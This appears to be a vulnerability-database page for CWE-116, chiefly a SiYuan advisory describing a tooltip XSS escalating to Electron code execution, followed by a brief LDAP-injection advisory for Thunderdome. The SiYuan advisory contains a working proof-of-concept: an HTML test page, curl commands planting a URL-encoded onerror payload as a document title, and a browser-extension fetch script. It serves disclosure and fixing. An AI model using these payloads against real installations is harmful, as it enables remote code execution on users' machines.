CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
614 vulnerabilities reference this CWE, most recent first.
GHSA-25RP-H46X-2HJM
Vulnerability from github – Published: 2026-05-08 19:08 – Updated: 2026-06-08 20:11Summary
The tooltip mouseover handler in app/src/block/popover.ts reads aria-label via getAttribute and passes it through decodeURIComponent before assigning to messageElement.innerHTML in app/src/dialog/tooltip.ts:41. The encoder used at the producer side, escapeAriaLabel in app/src/util/escape.ts:19-25, only handles HTML special characters (", ', <, literal <) — it leaves %XX URL-escapes untouched. So a doc title containing %3Cimg src=x onerror=...%3E round-trips through escapeAriaLabel and the HTML attribute layer unmodified. Then decodeURIComponent on the consumer side converts %3C to a literal < character (a real <, NOT a character reference). When that string is assigned to innerHTML, the HTML5 tokenizer enters TagOpenState on the literal <, parses the <img> element, and the onerror handler fires.
Because the renderer runs with nodeIntegration: true, contextIsolation: false, webSecurity: false (app/electron/main.js:407-411), require('child_process') is reachable from the injected handler, escalating to arbitrary code execution.
Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into class="ariaLabel" elements with aria-label="${escapeAriaLabel(...)}". Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives .sy.zip round-trip without modification.
Why a "double HTML-decode" framing is wrong
A naïve reading of the chain might suggest that &lt; (the encoder output) decodes once at attribute-parse time to <, then a second time at innerHTML time to < — yielding a tag. That's incorrect and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the < resulting from a < reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.
The actual bypass relies on decodeURIComponent producing a literal < (not a character reference) before innerHTML parses it. Literal < characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores %XX while the consumer chain decodes it.
Details
Encoder. app/src/util/escape.ts:19-25:
export const escapeAriaLabel = (html: string) => {
if (!html) { return html; }
return html.replace(/"/g, """).replace(/'/g, "'")
.replace(/</g, "&lt;").replace(/</g, "&lt;");
};
The four replacements only cover HTML special chars. %XX URL escapes are not touched.
Source — search-result rendering. app/src/search/util.ts:1406:
<span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span>
Same pattern at :1448, protyle/render/av/blockAttr.ts:205, protyle/render/av/col.ts:134, protyle/render/av/select.ts:36, search/unRef.ts:113. The title is built from getNotebookName(item.box) + getDisplayName(item.hPath, false) (line 1398). The hPath returned by /api/search/fullTextSearchBlock carries the user-set doc title verbatim — %XX URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.
Consumer. app/src/block/popover.ts:33,144:
let tip = aElement.getAttribute("aria-label") || ""; // literal stored attribute value
// ... branch logic that doesn't apply to plain search results ...
showTooltip(decodeURIComponent(tip), aElement, ...); // ← decodes %XX into raw chars
decodeURIComponent is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.
Sink. app/src/dialog/tooltip.ts:41:
messageElement.innerHTML = message; // ← HTML parser sees the now-decoded raw `<` and starts parsing tags
Decode-chain trace for in-memory title %3Cimg src=x onerror="alert('SiYuan')"%3E (URL-encoded < > ', literal "):
| step | result |
|---|---|
| in-memory title | %3Cimg src=x onerror="alert('SiYuan')"%3E |
escapeAriaLabel writes (only " and ' get encoded — neither appears here as raw chars when ' is %27) |
%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E |
HTML attribute set: aria-label="..." ; browser one-decodes named entities when storing |
in-DOM value = %3Cimg src=x onerror="alert(%27SiYuan%27)"%3E |
getAttribute("aria-label") |
%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E (verbatim) |
decodeURIComponent(tip) |
<img src=x onerror="alert('SiYuan')"> (real < ' > chars) |
messageElement.innerHTML = … |
HTML parser tokenizes raw <img>, creates element, fails to load src=x, fires onerror → JS runs |
Renderer + reachability. Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): nodeIntegration:true, contextIsolation:false, webSecurity:false at app/electron/main.js:407-411; empty-AccessAuthCode local auto-admin at kernel/model/session.go:261-287; chrome-extension:// Origin allowlist at session.go:277.
Suggested fix
-
Primary —
app/src/dialog/tooltip.ts:41: replacets messageElement.innerHTML = message;withts messageElement.textContent = message;For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit{html: true}flag onshowTooltip(...)and route the message throughDOMPurify.sanitize(message)before assigning toinnerHTML. -
Drop
decodeURIComponentatpopover.ts:144for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it insidetry/catchwith a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML. -
Consolidate the four escape helpers in
app/src/util/escape.ts(escapeHtml,escapeAttr,escapeAriaLabel,escapeGreat) into oneLute.EscapeHTMLStr-equivalent that escapes&,<,>,",'. Context-specific encoders without compile-time enforcement keep producing bug-class variants. -
(Defense-in-depth) Switch the main BrowserWindow to
contextIsolation: truewith a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
Reproduction (copy-paste-ready)
Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute py with python3 and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.
Prereqs
- Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases and launch once. Do not set an
AccessAuthCode(default). - Verify the kernel is up:
sh curl -s http://127.0.0.1:6806/api/system/version # → {"code":0,"msg":"","data":"3.6.5"} - Create at least one notebook (the file tree's "+" button) so
lsNotebooksreturns a usable id. Pin variables:sh API=http://127.0.0.1:6806 NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID"
Step A — Browser-only validation of the chain (no SiYuan needed)
This proves the bug class on its own. Save as decode-chain.html, open in any Chromium-based browser:
<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
aria-label="%3Cimg src=x onerror="document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';"%3E"
hidden></span>
<button onclick="
let tip = document.getElementById('src').getAttribute('aria-label');
console.log('after getAttribute:', JSON.stringify(tip));
try { tip = decodeURIComponent(tip); } catch(e){}
console.log('after decodeURIComponent:', JSON.stringify(tip));
document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
<div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div>
</body></html>
Click the button. The <h2 id="status"> flips to red with "RESULT: payload fired — chain works", and the <div id="out"> contains a fully-rendered <img> element (not text). Confirms the chain decodes URL-escapes between getAttribute and innerHTML, producing real tag-open characters.
Step B — Plant the payload in SiYuan
DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
-H 'Content-Type: application/json' \
-d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"
curl -s -X POST $API/api/filetree/renameDocByID \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF
Verify the in-memory title round-trips:
curl -s -X POST $API/api/block/getDocInfo \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])'
# Expected:
# %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E
Step C — Trigger inside SiYuan
In the SiYuan desktop client:
1. Open the search panel (Ctrl+P / ⌘+P).
2. Type trigger.
3. The result list renders the doc with aria-label="${escapeAriaLabel(title)}". The DOM attribute now contains %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E (URL-escapes survived; " came from escapeAriaLabel and was decoded by the attribute parser to ").
4. Hover the result row. popover.ts:33 reads the attribute, popover.ts:144 calls decodeURIComponent (decoding %3C/%27/%3E to literal </'/>), tooltip.ts:41 writes innerHTML — HTML parser creates a real <img> element, onerror fires.
5. alert('SiYuan tooltip-XSS PoC') pops.
Step D — .sy.zip reproducer for upstream review
For maintainers who want a single-click reproducer:
ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])')
# The kernel re-encodes % in the URL, so it's simpler to grab from disk:
SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1)
cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip"
Maintainer reproduces by importing via right-click a notebook → Import → SiYuan .sy.zip → searching trigger → hovering the result. The Lute serialization stores the title in the .sy file with %XX preserved literally and " HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the decodeURIComponent-based bypass.
Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Step B's curl chain via fetch() without any SiYuan UI interaction beyond keeping the kernel running:
(async () => {
const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
}).then(r => r.json());
const nb = await api('/api/notebook/lsNotebooks', {});
const id = (await api('/api/filetree/createDocWithMd', {
notebook: nb.data.notebooks[0].id,
path: '/x' + Date.now(),
markdown: 'trigger'
})).data;
await api('/api/filetree/renameDocByID', {
id,
title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
});
})();
A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.
Cleanup
DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \
-H 'Content-Type: application/json' -d '{"k":"trigger me"}' \
| python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")')
[ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
Impact
- RCE on the victim's desktop, triggered by hovering a search result (or any other
class="ariaLabel"element rendering attacker-controlled metadata). - Doc titles are the most commonly-shared field — recipients of
.sy.zip, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport. - Same post-RCE consequences as Advisory 1: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json), persistence, cloud-account pivot. - Multiple alternative trigger surfaces beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with
class="ariaLabel"andaria-label="${escapeAriaLabel(...)}"reaches the samepopover.ts → tooltip.tschain. - CVE-2026-34585 fix is incomplete. The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for
decodeURIComponentbeing applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal<characters that initiate tag parsing. A consumer-side fix (textContent, orDOMPurify.sanitizeon the rich-text path; and removing the unconditionaldecodeURIComponent) is required.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260421031503-96dfe0bea474"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44588"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-1188",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T19:08:30Z",
"nvd_published_at": "2026-05-14T19:16:37Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`\"`, `\u0027`, `\u003c`, literal `\u0026lt;`) \u2014 it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `\u003c` character (a real `\u003c`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `\u003c`, parses the `\u003cimg\u003e` element, and the `onerror` handler fires.\n\nBecause the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require(\u0027child_process\u0027)` is reachable from the injected handler, escalating to arbitrary code execution.\n\nDoc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they\u0027re rendered into `class=\"ariaLabel\"` elements with `aria-label=\"${escapeAriaLabel(...)}\"`. Doc title is the easiest plant \u2014 any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification.\n\n## Why a \"double HTML-decode\" framing is wrong\n\nA na\u00efve reading of the chain might suggest that `\u0026amp;lt;` (the encoder output) decodes once at attribute-parse time to `\u0026lt;`, then a second time at `innerHTML` time to `\u003c` \u2014 yielding a tag. **That\u0027s incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `\u003c` resulting from a `\u0026lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.\n\nThe actual bypass relies on `decodeURIComponent` producing a **literal** `\u003c` (not a character reference) before `innerHTML` parses it. Literal `\u003c` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it.\n\n## Details\n\n**Encoder.** `app/src/util/escape.ts:19-25`:\n```ts\nexport const escapeAriaLabel = (html: string) =\u003e {\n if (!html) { return html; }\n return html.replace(/\"/g, \"\u0026quot;\").replace(/\u0027/g, \"\u0026apos;\")\n .replace(/\u003c/g, \"\u0026amp;lt;\").replace(/\u0026lt;/g, \"\u0026amp;lt;\");\n};\n```\nThe four replacements only cover HTML special chars. `%XX` URL escapes are not touched.\n\n**Source \u2014 search-result rendering.** `app/src/search/util.ts:1406`:\n```ts\n\u003cspan class=\"b3-list-item__text ariaLabel\" ... aria-label=\"${escapeAriaLabel(title)}\"\u003e${escapeGreat(title)}\u003c/span\u003e\n```\nSame pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim \u2014 `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.\n\n**Consumer.** `app/src/block/popover.ts:33,144`:\n```ts\nlet tip = aElement.getAttribute(\"aria-label\") || \"\"; // literal stored attribute value\n// ... branch logic that doesn\u0027t apply to plain search results ...\nshowTooltip(decodeURIComponent(tip), aElement, ...); // \u2190 decodes %XX into raw chars\n```\n`decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it\u0027s applied unconditionally to every aria-label-sourced tip \u2014 that\u0027s what enables this bypass.\n\n**Sink.** `app/src/dialog/tooltip.ts:41`:\n```ts\nmessageElement.innerHTML = message; // \u2190 HTML parser sees the now-decoded raw `\u003c` and starts parsing tags\n```\n\n**Decode-chain trace** for in-memory title `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` (URL-encoded `\u003c` `\u003e` `\u0027`, literal `\"`):\n\n| step | result |\n|------|--------|\n| in-memory title | `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` |\n| `escapeAriaLabel` writes (only `\"` and `\u0027` get encoded \u2014 neither appears here as raw chars when `\u0027` is `%27`) | `%3Cimg src=x onerror=\u0026quot;alert(%27SiYuan%27)\u0026quot;%3E` |\n| HTML attribute set: `aria-label=\"...\"` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` |\n| `getAttribute(\"aria-label\")` | `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` (verbatim) |\n| `decodeURIComponent(tip)` | **`\u003cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"\u003e`** (real `\u003c` `\u0027` `\u003e` chars) |\n| `messageElement.innerHTML = \u2026` | HTML parser tokenizes raw `\u003cimg\u003e`, creates element, fails to load `src=x`, fires `onerror` \u2192 JS runs |\n\n**Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`.\n\n## Suggested fix\n\n1. **Primary \u2014 `app/src/dialog/tooltip.ts:41`**: replace\n ```ts\n messageElement.innerHTML = message;\n ```\n with\n ```ts\n messageElement.textContent = message;\n ```\n For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`.\n\n2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.\n\n3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `\u0026`, `\u003c`, `\u003e`, `\"`, `\u0027`. Context-specific encoders without compile-time enforcement keep producing bug-class variants.\n\n4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default).\n2. Verify the kernel is up:\n ```sh\n curl -s http://127.0.0.1:6806/api/system/version\n # \u2192 {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n ```\n3. Create at least one notebook (the file tree\u0027s \"+\" button) so `lsNotebooks` returns a usable id. Pin variables:\n ```sh\n API=http://127.0.0.1:6806\n NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n echo \"Using notebook: $NOTEBOOK_ID\"\n ```\n\n### Step A \u2014 Browser-only validation of the chain (no SiYuan needed)\n\nThis proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003ch2 id=\"status\"\u003eClick \"Simulate\" \u2014 if status turns red, the chain works.\u003c/h2\u003e\n\u003cspan id=\"src\" class=\"ariaLabel\"\n aria-label=\"%3Cimg src=x onerror=\u0026quot;document.getElementById(\u0027status\u0027).innerText=\u0027RESULT: payload fired \u2014 chain works\u0027; document.getElementById(\u0027status\u0027).style.color=\u0027red\u0027;\u0026quot;%3E\"\n hidden\u003e\u003c/span\u003e\n\u003cbutton onclick=\"\n let tip = document.getElementById(\u0027src\u0027).getAttribute(\u0027aria-label\u0027);\n console.log(\u0027after getAttribute:\u0027, JSON.stringify(tip));\n try { tip = decodeURIComponent(tip); } catch(e){}\n console.log(\u0027after decodeURIComponent:\u0027, JSON.stringify(tip));\n document.getElementById(\u0027out\u0027).innerHTML = tip;\n\"\u003eSimulate SiYuan tooltip\u003c/button\u003e\n\u003cdiv id=\"out\" style=\"border:2px solid red; padding:1em; min-height:3em; margin-top:1em;\"\u003e\u003c/div\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nClick the button. The `\u003ch2 id=\"status\"\u003e` flips to red with \"RESULT: payload fired \u2014 chain works\", and the `\u003cdiv id=\"out\"\u003e` contains a fully-rendered `\u003cimg\u003e` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters.\n\n### Step B \u2014 Plant the payload in SiYuan\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"notebook\\\":\\\"$NOTEBOOK_ID\\\",\\\"path\\\":\\\"/tooltip-xss-poc-$$\\\",\\\"markdown\\\":\\\"trigger me \u2014 open the search panel, type \u0027trigger\u0027, and hover this result\\\"}\" \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"])\u0027)\necho \"DOC: $DOC_ID\"\n\ncurl -s -X POST $API/api/filetree/renameDocByID \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-binary @- \u003c\u003cEOF\n{\"id\":\"$DOC_ID\",\"title\":\"%3Cimg src=x onerror=\\\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\\\"%3E\"}\nEOF\n```\nVerify the in-memory title round-trips:\n```sh\ncurl -s -X POST $API/api/block/getDocInfo \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"ial\"][\"title\"])\u0027\n# Expected:\n# %3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E\n```\n\n### Step C \u2014 Trigger inside SiYuan\n\nIn the SiYuan desktop client:\n1. Open the search panel (`Ctrl+P` / `\u2318+P`).\n2. Type `trigger`.\n3. The result list renders the doc with `aria-label=\"${escapeAriaLabel(title)}\"`. The DOM attribute now contains `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E` (URL-escapes survived; `\u0026quot;` came from escapeAriaLabel and was decoded by the attribute parser to `\"`).\n4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `\u003c`/`\u0027`/`\u003e`), `tooltip.ts:41` writes `innerHTML` \u2014 HTML parser creates a real `\u003cimg\u003e` element, `onerror` fires.\n5. **`alert(\u0027SiYuan tooltip-XSS PoC\u0027)` pops.**\n\n### Step D \u2014 `.sy.zip` reproducer for upstream review\n\nFor maintainers who want a single-click reproducer:\n```sh\nZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"zip\"])\u0027)\n# The kernel re-encodes % in the URL, so it\u0027s simpler to grab from disk:\nSRC=$(ls -1t \"$HOME/SiYuanWorkspace/temp/export\"/*.sy.zip | head -1)\ncp \"$SRC\" \"$HOME/Desktop/tooltip-xss-poc.sy.zip\"\n```\nMaintainer reproduces by importing via right-click a notebook \u2192 **Import** \u2192 **SiYuan `.sy.zip`** \u2192 searching `trigger` \u2192 hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `\"` HTML-entity-encoded \u2014 the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Step B\u0027s curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running:\n```js\n(async () =\u003e {\n const api = (path, body) =\u003e fetch(\u0027http://127.0.0.1:6806\u0027 + path, {\n method: \u0027POST\u0027, headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify(body)\n }).then(r =\u003e r.json());\n const nb = await api(\u0027/api/notebook/lsNotebooks\u0027, {});\n const id = (await api(\u0027/api/filetree/createDocWithMd\u0027, {\n notebook: nb.data.notebooks[0].id,\n path: \u0027/x\u0027 + Date.now(),\n markdown: \u0027trigger\u0027\n })).data;\n await api(\u0027/api/filetree/renameDocByID\u0027, {\n id,\n title: `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E`\n });\n})();\n```\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"k\":\"trigger me\"}\u0027 \\\n | python -c \u0027import sys,json; r=json.load(sys.stdin)[\"data\"]; print(r[0][\"id\"] if r else \"\")\u0027)\n[ -n \"$DOC_ID\" ] \u0026\u0026 curl -s -X POST $API/api/filetree/removeDocByID \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop**, triggered by hovering a search result (or any other `class=\"ariaLabel\"` element rendering attacker-controlled metadata).\n- **Doc titles are the most commonly-shared field** \u2014 recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.\n- Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot.\n- **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips \u2014 any element with `class=\"ariaLabel\"` and `aria-label=\"${escapeAriaLabel(...)}\"` reaches the same `popover.ts \u2192 tooltip.ts` chain.\n- **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `\u003c` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.",
"id": "GHSA-25rp-h46x-2hjm",
"modified": "2026-06-08T20:11:29Z",
"published": "2026-05-08T19:08:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-25rp-h46x-2hjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44588"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)"
}
GHSA-26CM-QRC6-MFGJ
Vulnerability from github – Published: 2021-11-08 18:16 – Updated: 2024-02-08 22:24Impact
LDAP injection vulnerability, only affects instances with LDAP authentication enabled.
Patches
Patch for vulnerability released with v1.16.3.
Workarounds
Disable LDAP feature if in use
References
OWASP LDAP Injection Prevention Cheat Sheet
For more information
If you have any questions or comments about this advisory: * Open an issue in Thunderdome Github Repository * Email us at steven@weathers.me
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/stevenweathers/thunderdome-planning-poker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41232"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-74",
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-02T18:40:07Z",
"nvd_published_at": "2021-11-02T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nLDAP injection vulnerability, only affects instances with LDAP authentication enabled.\n\n### Patches\nPatch for vulnerability released with v1.16.3.\n\n### Workarounds\nDisable LDAP feature if in use\n\n### References\n[OWASP LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html\n)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Thunderdome Github Repository](https://github.com/StevenWeathers/thunderdome-planning-poker)\n* Email us at [steven@weathers.me](mailto:steven@weathers.me)\n",
"id": "GHSA-26cm-qrc6-mfgj",
"modified": "2024-02-08T22:24:20Z",
"published": "2021-11-08T18:16:21Z",
"references": [
{
"type": "WEB",
